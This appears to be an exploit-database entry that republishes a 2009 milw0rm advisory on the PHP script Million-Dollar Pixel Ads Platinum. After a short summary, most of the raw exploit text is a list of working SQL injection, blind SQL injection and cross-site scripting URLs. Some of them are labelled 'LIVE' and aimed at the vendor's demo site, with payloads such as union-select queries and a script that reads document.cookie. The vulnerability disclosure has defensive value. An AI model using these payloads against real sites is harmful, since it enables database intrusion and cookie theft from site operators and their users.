Million-Dollar Pixel Ads Platinum Multiple Remote Vulnerabilities

vendor:

Million-Dollar Pixel Ads Platinum

by:

Moudi

5.5

CVSS

MEDIUM

SQL Injection and Blind SQL

CWE

Product Name: Million-Dollar Pixel Ads Platinum

Affected Version From:

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

Million-Dollar Pixel Ads Platinum Multiple Remote Vulnerabilities

The Million-Dollar Pixel Ads Platinum script is vulnerable to SQL Injection and Blind SQL vulnerabilities. These vulnerabilities allow an attacker to manipulate SQL queries and potentially access or modify the database.

Mitigation:

The vendor has not provided any specific mitigation steps. It is recommended to update to a patched version or implement proper input validation to prevent SQL injection attacks.

Source

Exploit-DB raw data:

###########################################################################
#-----------------------------I AM MUSLIM !!------------------------------#
###########################################################################

==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
        [Â»] [!] Coder - Developer HTML / CSS / PHP / Vb6 . [!]
==============================================================================
        [Â»] Million-Dollar Pixel Ads Platinum Multiple Remote Vulnerabilities
==============================================================================

	[Â»] Script:             [ Million-Dollar Pixel Ads Platinum ]
	[Â»] Language:           [ PHP ]
        [Â»] Download:           [ http://www.turnkeysetup.net/details_million-platinum.php  ]
	[Â»] Founder:            [ Moudi <m0udi@9.cn> ]
        [Â»] Thanks to:          [ MiZoZ , ZuKa , str0ke , 599em Man , Security-Shell ...]
        [Â»] Team:               [ EvilWay ]
        [Â»] Dork:               [ OFF ]
        [Â»] Price:              [ $447.97 ]
        [Â»] Site :              [ https://security-shell.ws/forum.php ]

###########################################################################

===[ Exploit + LIVE : SQL INJECTION vulnerability ]===	
	
[Â»] http://www.site.com/patch/search.php?keywords=1&selectcategory=[SQL]&submit=search

[Â»] http://www.turnkeysetup.net/demos/million/search.php?keywords=1&selectcategory=1+union+select+version()--&submit=search

===[ Exploit + LIVE : BLIND SQL vulnerability ]===

[Â»] http://www.site.com/patch/search.php?keywords=1&selectcategory=[BLIND]

[Â»] http://www.turnkeysetup.net/demos/million/search.php?keywords=1&selectcategory=1 and 1=1+union+select+version()--&submit=search

===[ Exploit XSS + LIVE : vulnerability ]===

[Â»] http://www.site.com/patch/buy1.php?category=11&place=[XSS]
[Â»] http://www.site.com/patch/index2.php?category=[XSS]
[Â»] http://www.site.com/patch/search.php?keywords=1&selectcategory=[XSS]

[Â»] http://www.turnkeysetup.net/demos/million/buy1.php?category=11&place="><script>alert(document.cookie);</script>
[Â»] http://www.turnkeysetup.net/demos/million/index2.php?category="><script>alert(document.cookie);</script>
[Â»] http://www.turnkeysetup.net/demos/million/search.php?keywords=1&selectcategory="><script>alert(document.cookie);</script>

Author: Moudi

###########################################################################

# milw0rm.com [2009-07-24]